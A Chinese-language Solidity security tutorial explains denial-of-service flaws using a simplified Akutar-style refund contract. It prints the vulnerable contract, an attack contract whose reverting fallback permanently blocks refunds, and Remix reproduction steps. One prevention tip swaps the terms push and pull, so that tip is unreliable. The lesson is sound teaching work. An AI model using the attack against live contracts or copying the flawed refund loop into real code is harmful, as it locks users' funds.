0xAA

Posted on Nov 13, 2022Read on Mirror.xyz

WTF Solidity 合约安全: S09. 拒绝服务

我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。

推特:@0xAA_Science@WTFAcademy_

社区:Discord微信群官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity


这一讲,我们将介绍智能合约的拒绝服务(Denial of Service, DoS)漏洞,并介绍预防的方法。NFT项目 Akutar 曾因为 DoS 漏洞损失 11,539 ETH,当时价值 3400 万美元。

DoS

在 Web2 中,拒绝服务攻击(DoS)是指通过向服务器发送大量垃圾信息或干扰信息的方式,导致服务器无法向正常用户提供服务的现象。而在 Web3,它指的是利用漏洞使得智能合约无法正常提供服务。

在2022年4月,一个很火的 NFT 项目名为 Akutar,他们使用荷兰拍卖进行公开发行,筹集了 11,539.5 ETH,非常成功。之前持有他们社区Pass的参与者会得到 0.5 ETH的退款,但是他们处理退款的时候,发现智能合约不能正常运行,全部资金被永远锁在了合约里。他们的智能合约有拒绝服务漏洞。

漏洞例子

下面我们学习一个简化了的 Akutar 合约,名字叫 DoSGame。这个合约逻辑很简单,游戏开始时,玩家们调用 deposit() 函数往合约里存款,合约会记录下所有玩家地址和相应的存款;当游戏结束时,refund()函数被调用,将 ETH 依次退款给所有玩家。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

// 有DoS漏洞的游戏,玩家们先存钱,游戏结束后,调用deposit退钱。
contract DoSGame {
    bool public refundFinished;
    mapping(address => uint256) public balanceOf;
    address[] public players;
    
    // 所有玩家存ETH到合约里
    function deposit() external payable {
        require(!refundFinished, "Game Over");
        require(msg.value > 0, "Please donate ETH");
        // 记录存款
        balanceOf[msg.sender] = msg.value;
        // 记录玩家地址
        players.push(msg.sender);
    }

    // 游戏结束,退款开始,所有玩家将依次收到退款
    function refund() external {
        require(!refundFinished, "Game Over");
        uint256 pLength = players.length;
        // 通过循环给所有玩家退款
        for(uint256 i; i < pLength; i++){
            address player = players[i];
            uint256 refundETH = balanceOf[player];
            (bool success, ) = player.call{value: refundETH}("");
            require(success, "Refund Fail!");
            balanceOf[player] = 0;
        }
        refundFinished = true;
    }

    function balance() external view returns(uint256){
        return address(this).balance;
    }
}

这里的漏洞在于,refund() 函数中利用循环退款的时候,是使用的 call 函数,将激活目标地址的回调函数,如果目标地址为一个恶意合约,在回调函数中加入了恶意逻辑,退款将不能正常进行。

(bool success, ) = player.call{value: refundETH}("");

下面我们写个攻击合约, attack() 函数中将调用 DoSGame 合约的 deposit() 存款并参与游戏;fallback() 回调函数将回退所有向该合约发送ETH的交易,对DoSGame 合约中的DoS漏洞进行了攻击,所有退款将不能正常进行,资金被锁在合约中,就像 Akutar 合约中的一万多枚ETH一样。

contract Attack {
    fallback() external payable{
        revert("DoS Attack!");
    }

    function attack(address gameAddr) external payable {
        DoSGame dos = DoSGame(gameAddr);
        dos.deposit{value: msg.value}();
    }
}

Remix 复现

  1. 部署 DoSGame 合约。

  2. 调用 DoSGame 合约的 deposit(),进行存款并参与游戏。

  3. 部署 Attack 合约。

  4. 调用 Attack 合约的 attack(),进行存款并参与游戏。

  5. 调用 DoSGame 合约refund(),进行退款,发现不能正常运行,攻击成功。

预防方法

很多逻辑错误都可能导致智能合约拒绝服务,所以开发者在写智能合约时要万分谨慎。以下是一些需要特别注意的地方:

  1. 外部合约的函数调用(例如 call)失败时不会使得重要功能卡死,比如将上面漏洞合约中的 require(success, "Refund Fail!"); 去掉,退款在单个地址失败时仍能继续运行。

  2. 合约不会出乎意料的自毁。

  3. 合约不会进入无限循环。

  4. requireassert 的参数设定正确。

  5. 退款时,让用户从合约自行领取(push),而非批量发送给用户(pull)。

  6. 确保回调函数不会影响正常合约运行。

  7. 确保当合约的参与者(例如 owner)永远缺席时,合约的主要业务仍能顺利运行。

总结

这一讲,我们介绍了智能合约的拒绝服务,并举了 Akutar 项目因为该漏洞损失了一万多枚ETH。很多逻辑错误都能导致DoS,开发者写智能合约时要万分谨慎,比如退款要让用户自行领取,而非合约批量发送给用户。